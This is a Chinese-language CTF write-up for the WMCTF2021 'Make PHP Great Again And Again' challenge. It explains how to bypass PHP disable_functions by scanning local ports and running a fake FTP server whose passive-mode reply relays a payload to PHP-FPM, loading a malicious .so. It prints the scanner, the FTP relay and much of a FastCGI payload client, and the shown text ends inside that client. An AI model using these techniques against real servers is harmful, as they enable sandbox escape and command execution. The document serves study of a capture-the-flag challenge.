[WMCTF2021]Make PHP Great Again And Again
Posted bfengj
tags:
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前言
也是很久之前WMCTF2021中Web的一道题目，当时一点头绪都没有，然后也没有复现，今天晚上跟着赵总的博客进行了学习，也是学习到了非常多的东西。本文只是跟着赵总的博客进行了一波复现，记录下来，仅此而已。
题目环境
题目本身给了shell，但是有着诸多的限制，包括disable_functions，open_basedir，flag文件是700等。
而且不出网，流量是nginx转发进内网。
考虑到是nginx+php-fpm，联想到之前蓝帽杯的那题，很正常会想到利用ftp的被动模式攻击fpm实现恶意加载so导致disable_functions绕过。但是之前的靶机是出网的，这里不出网，导致了利用姿势的改变，是需要利用PHP在靶机本地起一个FTP把流量转发给FPM实现攻击。
信息收集
也是第一次见，之前从来只知道一个phpinfo可以收集disable_functions之类的，原来还可以这样：
var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());
都可以收集到相应的信息，发现ban掉了很多的东西，Curl 和 Socket Client都无法利用。所以只能想办法用FTP的被动模式了。
之后就是想办法知道FPM所在的端口。
这里也是学习了一波php扫描本机开放端口的姿势：
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}
for($i=0;$i<65535;$i++) {
$t=file_get_contents('http://127.0.0.1:'.$i);
if(!strpos(error_get_last()['message'], "Connection refused")) {
var_dump($i);
}
}
学习了学习了。
通过扫描内网后知道FPM在11415端口，接下来就是进一步利用了。
PHP的FTP服务器
用的是Ph0t1n1a的Payload，用起来很舒服（笑）：
$socket = stream_socket_server("tcp://0.0.0.0:46819", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\\n";
} else {
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, "210 Fake FTP\\n");
$line = fgets($conn);
echo $line; // USER
fwrite($conn, "230 Login successful\\n");
$line = fgets($conn);
echo $line; // TYPE
fwrite($conn, "200 xx\\n");
$line = fgets($conn);
echo $line; // SIZE
fwrite($conn, "550 xx\\n");
$line = fgets($conn);
echo $line; // EPSV
fwrite($conn, "500 wtf\\n");
$line = fgets($conn);
echo $line; // PASV
// $ip = '192.168.1.4';
$ip = '127.0.0.1';
$port = 11451;
$porth = floor($port / 256);
$portl = $port % 256;
fwrite($conn, "227 Entering Passive Mode. ".str_replace('.',',',$ip).",$porth,$portl\\n");
$line = fgets($conn);
echo $line; // STOR
fwrite($conn, "125 GOGOGO!\\n");
sleep(1);
fwrite($conn, "226 Thanks!\\n");
fclose($conn);
}
fclose($socket);
}
要加载的恶意so也是别的队的，根据蚁剑魔改的so，当然正常的像蓝帽那样写个c然后编译出来也是可以的。不过也是学一手别人的so（也起来也是很舒服hhh）。
生成payload也是老样子：
<?php
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
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